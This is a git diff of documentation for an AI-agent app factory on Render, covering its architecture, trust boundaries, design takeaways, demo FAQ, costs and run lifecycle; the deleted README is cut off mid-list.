`DeployPlan`, `Manifest`, and `AppSpec` + +These Zod-validated contracts carry an app through the system: + +- `DeployPlan`: what the architect proposes—name, primitives, assets, and + product brief. +- `Manifest`: what the builder actually created—services, commands, paths, + environment references, and databases. +- `AppSpec`: durable `factory.json`—identity, prompt, summary, prefix, + manifest, and optional deletion marker. + +The plan guides the build, but the manifest drives verification and +deployment. The AppSpec is the source from which root Blueprint state can be +reconstructed. + +### `Sandbox` + +The `Sandbox` class in [`app/sandbox.ts`](../app/sandbox.ts) wraps the +operations used by workflow and tools: wait, run commands, upload and +download files, read and write files, list directories, and terminate. + +Agent code never creates or selects a Sandbox. Workflow code creates it and +passes only its ID to subtasks that must reconnect. + +### `RunRecord`, `RunStatus`, and `WorkflowResult` + +`RunRecord` in [`app/store.ts`](../app/store.ts) is the durable status model. +It contains the prompt, namespace, status, current stage, progress, stage +history, workflow and Sandbox IDs, app name, URLs, summary, and timestamps. + +Terminal prompt-run statuses are: + +- `deployed` +- `awaiting_blueprint` +- `build_failed` +- `deploy_failed` +- `failed` + +Deletion uses `deleting` and `delete_failed`; successful deletion removes the +rows. + +`WorkflowResult` in `app/contracts.ts` is the task-level union returned by +`prompt-to-app`. `finishRun()` projects that result into Postgres for polling +clients. + +### Blueprint functions + +[`app/blueprint.ts`](../app/blueprint.ts) is the only infrastructure-creation +path: + +- `appBlueprint(spec)` creates an app-local Blueprint. +- `rootBlueprint(specs)` creates the multi-app Blueprint watched by Render. +- `resourceNames()` gives every resource a collision-resistant, + app-scoped name. +- `declaredResources()` defines the resource identity held fixed during a + deploy repair. + +Model-authored strings are emitted as escaped YAML scalars. Agents never +write the Blueprint directly. + +## State and reconciliation + +All cross-process state lives in the `runs` Postgres table. Render +filesystems are ephemeral. + +The store uses: + +- a unique idempotency key for safe request retries; +- one global advisory lock for concurrency claims; +- per-app advisory locks shared by builds and deletes; +- append-only stage-history entries for timing; and +- progress heartbeats during long waits. + +A task can time out or be canceled before its catch block records a result. +When the API reads or lists active runs, `reconcileWorkflowRun()` checks the +Render task-run status and marks orphaned rows failed. Checks are throttled so +UI polling does not hammer the Render API. + +Top-level workflow tasks do not retry blindly. Transient operations retry at +the narrowest safe level, such as a Render read or a rejected concurrent Git +push. + +## Trust boundaries + +The important boundaries are: + +- **Internet → gateway:** authentication, body cap, Zod validation, namespace + injection, and response redaction. +- **Gateway → workflow:** only `{ prompt, user, runId }`, validated again. +- **Agent → machine:** explicit tools, pre-tool policy, scoped paths, and a + credential-free Sandbox. +- **Agent → Render:** read-only MCP allowlist; no direct log access. +- **Agent output → workflow:** schema validation and deterministic pass/fail + checks. +- **Build Sandbox → GitHub:** regular-file transfer as untrusted data, then a + clean credentialed publish Sandbox. +- **Workflow → infrastructure:** validated Blueprint creation; scoped API + deletion only after the app leaves the Blueprint. + +The full, normative list is in [AGENTS.md](../AGENTS.md#invariants). + +## Tests + +`npm run check` runs linting, TypeScript, and Vitest. No test calls a live +model, Render workspace, GitHub repository, Postgres instance, or Commons +API. + +The suite tests public behavior and boundaries: + +- `gateway.test.ts`: auth, validation, dispatch, status, reconciliation, UI. +- `workflow.test.ts`: create, repair, deploy, and delete orchestration. +- `blueprint.test.ts`: generated infrastructure contract. +- `agents.test.ts`, `policy.test.ts`, `tools.test.ts`: capability boundaries. +- `git.test.ts`, `files.test.ts`, `github-auth.test.ts`: publish boundary. +- `render.test.ts`, `teardown.test.ts`, `images.test.ts`: external systems. +- `store.test.ts`: claims, locks, and connection failure behavior. +- `host.test.ts`: synchronous registration of every workflow task. +- `templates.test.ts`: template and builder-instruction alignment. + +Where practical, tests use real local Git, tar, shells, and temporary +directories, while faking only the network edge. diff --git a/docs/3_TAKEAWAYS.md b/docs/3_TAKEAWAYS.md new file mode 100644 index 0000000..b90c03d --- /dev/null +++ b/docs/3_TAKEAWAYS.md @@ -0,0 +1,240 @@ +# Takeaways + +This repository is a reference architecture, not a framework. The useful +parts are the boundaries and feedback loops, not the exact stack. The lessons +below describe what to carry into your own coding agent, internal platform, +or AI-assisted deployment system. + +For the implementation behind each lesson, read +[2_ARCHITECTURE.md](2_ARCHITECTURE.md). + +## 1. Split public control from privileged execution + +The gateway authenticates, validates, records, and dispatches. A separate +workflow process holds model and repository credentials and performs risky +work. + +**Apply it:** inventory credentials by process. Give an internet-facing +service only the secrets required to accept and route a request. Move model, +source-control, and infrastructure credentials to a non-public worker. + +**Tradeoff:** another service and deployment boundary to operate. + +In this repository: `app/server.ts`, `app/host.ts`, `app/config.ts`, and +`render.yaml`. + +## 2. Treat isolation as the shell-command policy + +The builder can execute arbitrary shell commands. The factory does not +pretend a command regex can make arbitrary shell safe. Instead, it runs the +builder in a disposable Sandbox containing one app and no valuable +credential. + +**Apply it:** assume a capable model will eventually bypass prompt rules and +command filters. Make the execution environment safe even when that happens: +minimal files, minimal environment, bounded lifetime, explicit egress, and +cleanup in `finally`. + +**Tradeoff:** provisioning latency and compute cost. + +In this repository: `app/sandbox.ts`, `app/tools.ts`, and `app/policy.ts`. + +## 3. Separate untrusted building from trusted publishing + +The build Sandbox never receives a GitHub token. Publishing copies regular +files out as data, then commits from a fresh Sandbox no agent has touched. +The push rejects changes outside the app directory and root Blueprint. + +**Apply it:** split CI or agent pipelines into an untrusted build phase and a +small trusted release phase. Pass an artifact across a narrow, validated +boundary instead of adding credentials to the build environment. + +**Tradeoff:** an extra artifact format, validation step, and execution +environment. + +In this repository: `app/files.ts`, `app/publish.ts`, and `app/git.ts`. + +## 4. Keep capabilities in code, not prompts + +Each agent receives an explicit tool set. Built-in file and shell tools are +disabled, environment forwarding is allowlisted, and a pre-tool hook checks +every call. + +**Apply it:** define capabilities beside the agent in versioned code and make +permission changes reviewable. Use prompts to explain permissions, never to +enforce them. + +**Tradeoff:** adding a capability requires code, tests, and usually a +deployment. + +In this repository: `Agent` and `runClaude()` in `app/claude.ts`, +`app/agents.ts`, and `tests/agents.test.ts`. + +## 5. Let models propose; let contracts and systems decide + +Architect, builder, and deploy-manager output is schema-validated. A model +may diagnose a failed deploy, but it cannot override Render's failed status +or deterministic verification. + +**Apply it:** put a typed contract after every model boundary. Give models +room to generate or diagnose, then let parsers, compilers, tests, databases, +and platform status make acceptance decisions. + +**Tradeoff:** useful but schema-incompatible output fails closed. + +In this repository: `app/contracts.ts`, `agentJson()` in `app/claude.ts`, and +`repairDeploys()` in `app/deploy.ts`. + +## 6. Generate infrastructure from a closed manifest + +The builder returns a limited manifest. Trusted code turns it into a Render +Blueprint. Agents cannot submit arbitrary YAML or directly create resources. + +**Apply it:** model only the primitives your product can verify, observe, +price, and delete. Generate provider configuration from that model and keep +the resulting Git diff as the audit record. + +**Tradeoff:** adding a new primitive requires work across planning, +validation, deployment, verification, and cleanup. + +In this repository: `manifestSchema` in `app/contracts.ts` and +`app/blueprint.ts`. + +## 7. Verify the artifact that will actually ship + +Before publishing, the workflow removes ignored output, runs deployment +commands, starts services, applies migrations, and queries real data. After +deployment, it checks public routing, browser-to-API wiring, data, and CORS. + +**Apply it:** test from a clean artifact with production commands. Add +post-deploy checks for integration behavior that a build and health endpoint +cannot prove. + +**Tradeoff:** longer runs, additional dependencies, and more failure modes to +operate. + +In this repository: `app/verify.ts` and the smoke checks in `app/deploy.ts`. + +## 8. Bound repair loops and preserve their invariants + +Build and deploy repairs have fixed round limits. Every repair repeats +verification and publishing. A deploy repair cannot change the resource set, +and each wait requires a deploy newer than the one that failed. + +**Apply it:** define what a repair may change, cap attempts, and run the same +acceptance path after every fix. Record the prior external state so stale +success cannot be mistaken for a new result. + +**Tradeoff:** some fixable runs stop and require a new request. + +In this repository: `app/build.ts`, `firstWaits()` and `resourceChange()` in +`app/deploy.ts`, and `waitForDeploy()` in `app/render.ts`. + +## 9. Use agents only where judgment earns its cost + +Agents design the product, write code, and interpret deploy failures. +Workflow code downloads images, verifies builds, writes Blueprints, publishes +Git, waits on Render, and deletes resources. + +**Apply it:** ask whether a step needs interpretation or creativity. If its +correct behavior can be expressed as bounded deterministic code, implement +and test it directly. + +**Tradeoff:** deterministic paths support fewer open-ended cases. + +In this repository: compare `app/agents.ts` with `app/images.ts`, +`app/verify.ts`, and `app/publish.ts`. + +## 10. Make durable state explicit and reconcile it + +Postgres stores run status, progress, task IDs, and app ownership. Unique keys +make requests idempotent; advisory locks protect global capacity and per-app +races. API reads reconcile rows with the workflow system when a task dies +before recording its result. + +**Apply it:** model the job state machine in durable storage. Assume a worker +can vanish between the side effect and the final status write, and provide a +reconciliation path. + +**Tradeoff:** more state-machine and database code than a fire-and-forget +queue. + +In this repository: `app/store.ts` and `reconcileWorkflowRun()` in +`app/gateway.ts`. + +## 11. Retry the smallest safe operation + +Top-level workflows do not retry because they contain expensive, +non-idempotent side effects. Narrow operations do retry: Render reads and Git +pushes racing on the branch tip. + +**Apply it:** classify side effects before enabling retries. Retry a read, a +conditional write, or a derived commit—not an entire agent workflow—unless +the workflow has explicit checkpoints and idempotent steps. + +**Tradeoff:** without checkpointing, a failed run starts over as a new run. + +In this repository: task retry settings in `app/workflow.ts`, +`retryRead()` in `app/render.ts`, and `pushVerified()` in `app/git.ts`. + +## 12. Design deletion with the same care as creation + +Removing an app from a declarative file does not delete its resources, and an +older sync can recreate a resource deleted too early. The delete path first +changes desired state, waits for stale reconciliation, deletes scoped +resources, then removes source files. + +**Apply it:** understand the controller semantics of your infrastructure +system. Preserve enough metadata to resume cleanup, scope deletion by +ownership, and make every step safe to rerun. + +**Tradeoff:** cleanup takes multiple steps and may be slower than creation. + +In this repository: `removeApp()` in `app/workflow.ts`, `app/delete.ts`, and +`app/teardown.ts`. + +## 13. Put platform contracts in templates + +The template captures recurring integration details—CORS, public API host +wiring, idempotent migrations—while leaving product-specific content and +behavior to the builder. + +**Apply it:** template the small set of contracts models repeatedly get +wrong. Build templates in CI and keep them versioned with the orchestrator +that consumes them. + +**Tradeoff:** templates narrow the supported stack and require maintenance. + +In this repository: `templates/fullstack`, `app/templates.ts`, and +`tests/templates.test.ts`. + +## 14. Make task boundaries useful to operators + +Agents, verification, publishing, and delete steps are separate workflow +tasks with distinct inputs, outputs, timings, and logs. Run stages and +structured events expose progress without giving clients internal control. + +**Apply it:** split long workflows where permissions, retries, timeouts, or +operator diagnosis differ. Keep task payloads small and assume operators can +see them. + +**Tradeoff:** more task definitions and orchestration code. + +In this repository: `agentTask()` in `app/agents.ts`, task definitions in +the stage modules, `RUN_STAGES` in `app/store.ts`, and the browser UI. + +## What not to copy unchanged + +Some choices are intentionally demo-sized: + +- one Basic Auth user and one shared API token; +- one apps repository and branch; +- a global concurrency cap rather than tenant quotas; +- no step-level workflow resume; +- only three generated infrastructure primitives; +- one model provider; and +- generated resources that require explicit cleanup. + +For a production service, keep the boundaries above but replace these +constraints with real identity and authorization, tenant isolation, quotas, +abuse controls, cost attribution, resumable steps, and lifecycle policies. diff --git a/docs/FAQ.md b/docs/FAQ.md deleted file mode 100644 index 5cecb27..0000000 --- a/docs/FAQ.md +++ /dev/null @@ -1,249 +0,0 @@ -# Vibe Code Demo — FAQ for Field Engineering & Dev Rel - -Quick-reference for running the demo live, explaining the architecture, and -fielding questions about cost, safety, and product integration. - ---- - -## What does this demo do? - -A user types an app idea in plain English, for example "Build a website for a -local barbershop in San Jose". The factory designs, builds, verifies, and -deploys the app on Render, and no person touches the infrastructure. The -audience sees a prompt become a live URL in about 5 to 10 minutes. - -The architect agent chooses the Render primitives from the prompt. A website -gets one static site. When the prompt asks for data that users write and the -app keeps, the app also gets a Node.js API and a Postgres database. - -Architecture overview and how Render products fit together: -[README.md](../README.md#architecture-at-a-glance). - ---- - -## How to run it live - -### Before the demo - -1. **One-time setup (already done for the shared demo workspace):** - - Blueprint created in Dashboard pointing at the apps repo's `render.yaml` - - Auto Sync enabled - - All env vars set on gateway and workflow services - -2. **Pre-flight check: run `npm run doctor`.** It checks the configuration, - the apps repository, the Blueprint, the Render MCP server, Postgres, and - the task registration. It is read-only, and it exits non-zero when a check - fails. - -3. **Rehearse one time.** Run the prompt of the demo end to end, and write - down when each stage starts. Then delete that app. A live run that gets - the same app name replaces the old app, and then Render has no new - resource to create on stage. - -4. **Keep a fallback.** Build one more app from a different prompt, and keep - it deployed. If the live run fails or is slow, select the fallback run in - the history of the UI. - -5. **Before you go on stage:** - - Sign in to the UI, so that the Basic Auth dialog is not on the projector. - - Make sure that no other run is active. The cap of 3 runs applies to all - users of the factory. - -6. **Decide how to submit:** - - **UI:** Open the gateway URL, sign in with `UI_USERNAME` / `UI_PASSWORD`, type a prompt - - **CLI:** `npm run demo -- "Build a website for a local barbershop in San Jose"` - - **API:** `curl -X POST -H "Authorization: Bearer $FACTORY_API_KEY" -d '{"prompt":"..."}' $GATEWAY_URL/v1/apps` - -### Choose the prompt - -- **A website** gets one static site. This run has the fewest steps, and - Render deploys the site seconds after the push. Example: "Build a website - for a local barbershop in San Jose". -- **An app that keeps data** also gets an API and a Postgres database. This - run shows more of Render: a web service, Managed Postgres, `fromDatabase` - and `fromService` wiring, the migrate-and-seed `preDeployCommand`, and the - CORS check. It also takes longer. Name the data in the prompt, for example - "Save the posts in a database.", and rehearse the prompt first. -- Use a kind of business, not the name of a real company. A site with the - name of a real company is a fake site of that company. - -### During the demo - -- The UI shows these stages: Designing, Provisioning (only for an app with a - database), Curating, Building, Verifying, Publishing, Waiting For Services, - Waiting For Deploys, Smoke Testing, and Done. -- Each stage has a tooltip that tells what the stage does and where it runs. - Hover over the stage, or go to it with the Tab key. -- For a talk track, click **Table view**. It shows the stages as a table: what - each stage does, where it runs, how long it took, and links to the workflow - run and the sandbox in the Render Dashboard. The row of the stage that runs - now has a tint and a timer that counts its seconds. The sites table shows - each URL and how long each run took. -- A typical run takes **5–10 minutes**. The builder takes the largest part. -- The CLI `npm run demo` follows the status endpoint and prints final URLs. -- If a run looks stuck, `GET /v1/apps/:runId` shows the current `stage` and `progress`, - and `stageHistory` shows when each stage started and stopped. -- If your network stops, the run continues on Render. Reload the page, and - the UI shows the same run again. - -### What to say at each stage - -| Stage | Who does the work | Say | -|---|---|---| -| Designing | `architect` agent | "The architect chooses the smallest set of Render primitives for the prompt. It can look at the workspace through read-only Render MCP tools, but it cannot create anything. It writes a plan, and workflow code turns the plan into a Blueprint." | -| Provisioning | Workflow code | "A real Postgres 18 starts in the sandbox, so the builder writes the schema and the seed data against a real database." | -| Curating | Workflow code | "The workflow finds openly licensed photographs on Wikimedia Commons and downloads them into the app. No model chooses a URL or a file name." | -| Building | `builder` agent | "The builder writes the app in a Render Sandbox. The sandbox holds only this app: no clone of the apps repository, and no GitHub token." | -| Verifying | `verify-app` task | "Workflow code builds the app from the files that a commit holds, as Render will. Then it boots the app and queries it." | -| Publishing | `publish-app` task | "A second, clean sandbox commits only this app's folder and the root Blueprint. Then it checks that GitHub has that commit." | -| Waiting For Services, Waiting For Deploys | Render | "Render's Blueprint sync creates the project and the services from the committed YAML, and deploys them." | -| Smoke Testing | Workflow code | "Render says that the app is live, but the run is not done. The workflow tests the public URLs, the API hostname in the storefront, the data, and CORS." | -| A deploy fails | `deploy-manager` agent | "The deploy manager reads the failed deploy through read-only Render MCP tools, and tells the builder what to fix. The fix goes through the same checks and the same commit." | - -### After the demo - -- Click **Visit live website**. It is a real app on Render, with real content. -- Open the app's project in the Render Dashboard. Its site, and its API and database when it has them, are grouped there. -- Show the apps repo on GitHub. Every app is a Git diff that you can review. -- Show the `render.yaml`. It is declarative infrastructure, not API calls. -- Point out that the generated app has its own `render.yaml`, and can graduate to a standalone Blueprint. -- Click **Delete app** to remove it: the app leaves the Blueprint, then Render deletes its services, database, and project, then its files leave the apps repo. On stage, delete a spare app, not the app that you just built. -- After the event, delete every demo app. An app with an API and a database costs about $14 a month until you delete it. - ---- - -## What does it cost to run? - -### Per-run costs (each demo execution) - -| Cost center | Estimate | Notes | -|---|---|---| -| **Anthropic API** | ~$1–5 per run | 3 agents, all on Claude Sonnet. Builder is the biggest consumer (~80 turns max). | -| **Render Sandbox** | Included in Workflows | Billed as part of the Workflow task runtime. | -| **Workflow task time** | ~5–10 min on Standard plan | Standard plan tasks; billed per-second. | - -### Standing costs (the factory itself) - -| Resource | Plan | ~Monthly cost | -|---|---|---| -| Gateway web service | Starter | ~$7/mo | -| Factory Postgres | basic-256mb | ~$7/mo | -| Workflows service | Per-task billing | Varies with usage | - -### Per-generated-app costs (these accumulate!) - -| Resource | Plan | ~Monthly cost | -|---|---|---| -| Static site (storefront) | Free | $0 | -| API web service | Starter | ~$7/mo | -| Postgres | 0.1c-256mb | ~$7/mo | - -> **⚠️ Generated apps keep running until you delete them.** Each demo run of -> an app that keeps data leaves a web service and a Postgres instance -> running. Budget ~$14/mo for each such app, and delete them after demos with -> **Delete app** in the UI or `DELETE /v1/apps/:runId`. - -### Cost control levers - -- `maxConcurrentRuns: 3` caps simultaneous runs (each consumes a Sandbox + model tokens) -- Every agent uses the `medium` model tier, `claude-sonnet-5`. The `large` tier, `claude-opus-5`, costs more, and no agent uses it by default. `factory.config.ts` sets both. -- Generated app plans (`starter`, `0.1c-256mb`) are the cheapest paid tiers - ---- - -## Safety and trust boundaries - -| Boundary | How it works | -|---|---| -| **No API writes to create** | Agents cannot call Render APIs to create or change resources. Only Blueprints committed to Git create them. The only API writes are the deletes of a deleted app, which workflow code makes after the app leaves the Blueprint. | -| **Sandbox isolation** | Agents run code only in a throwaway Sandbox that holds only the app of the run: no other user's app, and no GitHub token. No access to the host, other services, or production databases. | -| **Read-only MCP** | Architect and Deploy Manager get a strict allowlist of MCP tools — read-only inspection only. Enforced in code, not just prompts. The allowlist has no log tool: workflow code reads the logs of a failed deploy and removes their secrets before the Deploy Manager gets them. | -| **No git for agents** | Agents cannot push. Workflow code copies the app's files into a clean sandbox, commits only that app's directory and the root Blueprint, pushes, and verifies the remote SHA. | -| **Tool-call gating** | `PreToolUse` hook blocks paths outside the app directory and every Render tool that is not read-only. It does not filter shell commands: the sandbox, which holds no credential, limits what a command can reach. | -| **Photographs from code** | Workflow code, not a model, downloads each photograph: HTTPS only, the two Wikimedia hosts only, images only, and up to 2 MB. It writes the file into the app's `assets/` directory, under a name that it makes. | -| **Secret separation** | Gateway never sees Anthropic key or GitHub credentials. Model-generated text is redacted for secret-shaped strings. | -| **Capability-based, not prompt-based** | Adding a new agent capability requires code changes to the tool allowlist — not a prompt edit. | - ---- - -## Common questions - -**Q: Can it build any app?** -A: Almost every app gets a static site. When the app keeps data, it also gets a Node.js API and Postgres. The supported primitives are `static_site`, `web_service`, and `postgres`. AGENTS.md shows how to add another, such as Key Value. The template for an app with an API is Vite + React + Tailwind + Hono + node-postgres. - -**Q: What if the build fails?** -A: The workflow has a repair loop — up to 2 build-fix rounds with the builder. If it still fails, the run ends as `build_failed` with the failure reason. In the Render Dashboard, each verification is a `verify-app` run under the `prompt-to-app` run, with its failures in its result. The commit and push is a `publish-app` run. - -**Q: What if the Render deploy fails?** -A: The workflow reads the logs of each failed deploy and removes their secrets. The Deploy Manager agent diagnoses the issue from these logs and its read-only MCP tools, and hands it to the Builder for repair. Up to 2 deploy-repair rounds. After that it's `deploy_failed`. The workflow verifies each repair in the sandbox and writes its manifest back to `factory.json` and the Blueprints, so changed commands reach Render. After each repair push, it waits for a new deploy of each failed service. If a repair adds or removes a service or database, or changes the kind of a service, the run ends as `deploy_failed` with no push. If a repair changes no files, or Render starts no new deploy in 15 minutes, the run ends as `deploy_failed` at once. - -**Q: What if a run gets stuck?** -A: Heartbeats and deadlines prevent silent hangs. If the task of a run failed or was canceled before it wrote its result, for example at a timeout, the next status poll, or the next refresh of the UI, marks the run failed and releases its concurrency slot. `GET /v1/apps/:runId` always shows the current stage. - -**Q: How do I delete a generated app?** -A: Select one of its runs in the UI and click **Delete app**, or send `DELETE /v1/apps/:runId`. The delete removes the app with all of its runs. The workflow takes the app out of the root Blueprint, waits until no Blueprint sync can bring its resources back, deletes its services, database, and project, and then removes its files from the apps repo. It takes a few minutes. The files stay in the Git history. If it ends as `delete_failed`, the summary says why; fix that and delete again. In the Render Dashboard, each step is a run of its own under the `delete-app` run, with its own logs, so you can see which step failed. - -**Q: Can multiple people demo at once?** -A: Yes, up to 3 concurrent runs (configurable). Each run gets its own sandbox and app namespace (`vibe---{web,api,db}`). Concurrent runs push to the same branch: a run whose push fails takes the new tip and makes its commit again. - -**Q: Can I build more than one app at a time?** -A: Yes. Submit the next prompt while the first run builds. The history shows the stage of each run, and updates every 5 seconds while a run is in progress. When 3 runs are in progress, the gateway refuses a new prompt, and the UI tells why below the prompt. Two runs of the same app cannot build at one time: if the architect gives a new run the name of an app that a different run builds, the new run stops as `failed`. Submit it again when the first run finishes. - -**Q: Is this safe for public/untrusted users?** -A: No. It's a demonstration. Auth is HTTP Basic, there's no tenant isolation, no quotas, and no abuse controls. See [When to use this reference](README.md#when-to-use-this-reference) and [Current limitations](README.md#current-limitations). - -**Q: How is this different from just using Claude to write code?** -A: Claude writes the code, but the factory is the system around it: isolated sandboxes, real database verification, declarative deployment, MCP-based failure diagnosis, durable state, and a deploy-repair loop. The code gets *built, migrated, booted, queried, committed, deployed, and smoke-tested* before anyone sees a URL. - -**Q: Why Blueprints instead of the Render API?** -A: Three reasons: (1) env wiring is declarative — `fromDatabase` and `fromService` mean no connection strings in code, (2) every deploy is a Git diff, (3) agents physically cannot create infrastructure — the only path is a commit. - -**Q: Does it use the Render MCP server?** -A: Yes, for the agents. The architect reads the workspace, and the deploy manager reads a failed deploy, through 10 read-only Render MCP tools. Workflow code reads services, deploys, and Blueprints over the REST API, which gives typed records. - -**Q: Where do the photographs come from?** -A: From Wikimedia Commons, which holds only openly licensed files. Workflow code, not a model, searches for each subject in the plan (4 at most), selects a wide, high-resolution photograph, and downloads it into the app. The builder publishes the credit line of each photograph. A subject that finds nothing is left out, so a failure gives fewer photographs, not a failed run. - -**Q: What models does it use?** -A: Configurable in `factory.config.ts`. Defaults: every agent uses `claude-sonnet-5`. There's a `large` tier (`claude-opus-5`) available but not used by default. - -**Q: Does the generated app use the free tier?** -A: The static site is free. The API and the database do not use the free tier: free web services spin down after 15 minutes (bad for a demo), and a workspace gets only one free Postgres. Generated apps use the `starter` web service plan and `0.1c-256mb` Postgres plan — the cheapest paid options. - -**Q: Where are the generated apps stored?** -A: In a GitHub repository (`APPS_REPO`). Structure: `apps///`. Each app has its own `factory.json`, `render.yaml`, `README.md`, and `.gitignore`, plus the app source. `node_modules/` and each static site's build output are not committed: Render's build makes them. - -**Q: Can I run it locally?** -A: Yes, `npm run dev:gateway` and `npm run dev:workflows` in separate terminals. But every run still creates a real Render Sandbox and can deploy real billable resources — local development changes *where orchestration runs*, not what it does. - ---- - -## Key files to know - -| File | What's in it | -|---|---| -| `factory.config.ts` | All the knobs: plans, region, models, asset policy, concurrency cap | -| `app/workflow.ts` | The two pipelines — start here. Each stage is a module: `build`, `verify`, `publish`, `deploy`, `delete` | -| `app/agents.ts` | Agent definitions, prompts, tool grants, model assignments | -| `app/images.ts` | Photographs from Wikimedia Commons: the search, the choice, and the checked download | -| `app/blueprint.ts` | How manifests become `render.yaml` files | -| `app/policy.ts` | Tool-call gating rules, path restrictions, MCP allowlist | -| `app/gateway.ts` | The public API and UI auth | -| `app/sandbox.ts` | Sandbox lifecycle, exec, Postgres setup | -| `app/store.ts` | Postgres-backed run state, idempotency, concurrency | -| `scripts/doctor.ts` | Pre-flight diagnostic — run before every demo | -| `render.yaml` | The factory's own Blueprint (gateway, Workflows service, and database in the `vibe-factory` project) | - ---- - -## Quick troubleshooting - -| Symptom | Likely cause | Fix | -|---|---|---| -| `npm run doctor` fails | Missing or wrong env vars | Read the doctor output — it tells you exactly what's missing and how to fix it | -| Run stays at `awaiting_blueprint` | No Blueprint in the `RENDER_WORKSPACE_ID` workspace watches the apps repo | Create one in that workspace in Dashboard: New → Blueprint, pick the apps repo, branch `main`, path `render.yaml` | -| Run stays at `waiting_for_services` | Blueprint Auto Sync is off | Turn it on in Blueprint Settings | -| Deploy fails with port binding error | Generated app not binding to `0.0.0.0:$PORT` | This is a builder bug — the repair loop should catch it, but check the template | -| CORS errors in the deployed app | API not sending `Access-Control-Allow-Origin` | The builder prompt requires it; check the generated API code | -| The site has fewer photographs than subjects | Commons found nothing for a subject, or its download failed | Read the `image_skipped` lines in the logs of the `prompt-to-app` run | -| `too many concurrent runs` (429) | Hit the `maxConcurrentRuns` cap (default 3) | Wait for a run to finish, or increase the cap in `factory.config.ts` | diff --git a/docs/README.md b/docs/README.md deleted file mode 100644 index 97dc0a3..0000000 --- a/docs/README.md +++ /dev/null @@ -1,545 +0,0 @@ -# vibe-code-demo guide - -This is a demonstration and pattern library. Use it to make architecture choices -concrete, then adapt the boundaries, supported primitives, verification, cost -controls, and user experience to your own requirements. - -**Contents:** [When to use](#when-to-use-this-reference) · -[Patterns](#production-patterns-demonstrated) · -[Run lifecycle](#run-lifecycle) · -[Delete an app](#delete-an-app) · -[Blueprints](#why-blueprints-are-the-write-path) · -[Apps repository](#the-apps-repository) · -[Code map](#where-to-look-in-the-code) · -[Get started](#get-started-local-development) · -[Deploy](#deploy-the-factory) · -[Configuration](#configuration) · -[Troubleshooting](#troubleshooting-a-stuck-run) · -[Adaptation](#adaptation-seams) · -[Safety](#safety-boundaries) · -[Limitations](#current-limitations) - -## When to use this reference - -Use vibe-code-demo when: - -- You want to see an agent produce and deploy a multi-service application - rather than stop at generated code. -- You need to demonstrate declarative infrastructure as the controlled write - path while agents inspect the platform through read-only MCP tools. -- The design needs both pre-deploy evidence and post-deploy proof across a - frontend, API, database, and browser security boundary. - -Do not use it unchanged for untrusted public users. The included gateway has -simple authentication, one apps repository and branch, a small concurrency -cap, and no tenant-level quotas. - -## Production patterns demonstrated - -- **Separate ingress from privileged execution.** The gateway authenticates, - caps input, records durable status, and dispatches; the Workflows host owns - models, source credentials, sandboxes, and deployment coordination. This - narrows the public attack surface, at the cost of operating two services. -- **Declarative infrastructure as the only write path.** Agents cannot create - Render resources. Workflow code turns a validated manifest into Blueprints, - commits them, and lets Render sync the desired state. The result is - reviewable and reproducible, but the initial Blueprint connection is manual - and only modeled primitives can be deployed. -- **Delete in the order that the declarative system allows.** A Blueprint - never deletes a resource, and it recreates a declared resource that is - missing. So a delete first takes the app out of the Blueprint, waits until - no sync of an earlier commit can run, and only then calls the Render API, - scoped to the app's own project. These are the only Render write API calls - in the factory. The cost is a second commit and a wait of about a minute. -- **Capabilities instead of prompt-only restrictions.** The architect gets a - read-only Render MCP allowlist, and the builder can edit a sandbox that - holds only its app, with no credential to publish. Adding a new capability - requires code and policy work, which is deliberate friction. -- **Workflow code for work that needs no judgment.** Finding photographs is a - search and a download, so workflow code does it. An agent that could not see - the images added a model call and a download tool, and no judgment. -- **Build without credentials, and publish from a clean sandbox.** The builder - can run any command in its sandbox, so that sandbox gets no clone of the apps - repository and no GitHub token. `publish-app` copies the app's regular files - out of it as data, into a new clone in a sandbox of its own, and commits - only that app's directory and the root Blueprint. CI systems that build - untrusted code without secrets and publish from a different job use the - same pattern. The cost is one more sandbox for each push. -- **Templates encode contracts, not the whole application.** Multi-service - apps start with known API, CORS, migration, and environment-wiring seams; - the model still controls product-specific behavior and presentation. This - improves reliability while narrowing stack freedom. -- **Verify locally and against reality.** The workflow builds, migrates, boots, - and queries services in the sandbox, then waits for Render and smoke-tests - public URLs, the API hostname in the storefront, database access, and CORS. - This catches integration failures a build cannot, but increases run time and - infrastructure consumption. -- **Durable progress with reconciliation.** Postgres holds run state, - idempotency, heartbeats, task IDs, and concurrency claims so clients can - reconnect and stale runs can be repaired. That operational reliability adds - a database and state machine to what could otherwise be a short demo script. - -## Run lifecycle - -1. An authenticated UI or API request is claimed in Postgres and dispatched - with a prompt, user namespace, and run ID. -2. A read-only architect chooses supported Render primitives and produces a - plan; no infrastructure changes occur. -3. One sandbox receives an empty app directory, with no clone of the apps - repository and no credential. Workflow code downloads openly licensed - photographs into it, and a builder creates the application from an empty - directory or a contract-bearing template. -4. The `verify-app` subtask builds, migrates, boots, and queries the - generated services. Its checks start from only the files a commit holds, as - Render's fresh clone does, and it checks that `publish-app` can copy them. - Failures can return to the builder for bounded repair rounds. -5. The `publish-app` subtask copies the app's regular files into a new clone - in a sandbox of its own. There it derives `factory.json` and `render.yaml`, - commits only the app's directory and the root Blueprint, pushes, and - verifies the remote SHA. Blueprint sync—not an agent API call—creates the - infrastructure. -6. The workflow waits for deployment. On failure, the workflow reads the - logs of each failed deploy and removes their secrets. A deploy manager - diagnoses the deploy from these logs and read-only Render MCP data, and - can request bounded builder repairs. `verify-app` verifies each repair, - and `publish-app` rewrites `factory.json` and `render.yaml` from its - manifest and pushes again. Then the workflow waits for a new deploy of - each failed service, not for the deploy that failed. A repair cannot add - or remove a resource: a Blueprint sync never deletes one, and the loop - watches only the services of the first push. Live services still must - pass public storefront, API hostname, health, data, and CORS checks. -7. Postgres exposes progress and final URLs to reconnecting clients; a - `finally` block terminates the sandbox. - -Each agent, `verify-app`, and `publish-app` is a subtask of `prompt-to-app`. -In the Render Dashboard, each one is a run of its own under the -`prompt-to-app` run, with its input, its result, and its logs. The builder -and `verify-app` work in the sandbox of the run, and `publish-app` reads the -app's files from it. They find it by the `sandboxId` -in their input. `publish-app` pushes from a sandbox of its own. - -| Task | Result | Events | -| --- | --- | --- | -| `verify-app` | `failures`: the full text of each check that failed, or `[]` | `app_verified`; `app_verification_failed`, with the first line of each failure | -| `publish-app` | `commit`: the pushed commit, or `null` when no file changed | `app_published`, with the commit | - -## Delete an app - -`DELETE /v1/apps/:runId`, or **Delete app** in the UI, deletes the app that a -run built. The runs of one app share its directory and its Render resources, -so every run of the app is deleted with it. A run that did not choose an app -has nothing else, and the gateway deletes it at once. - -1. The 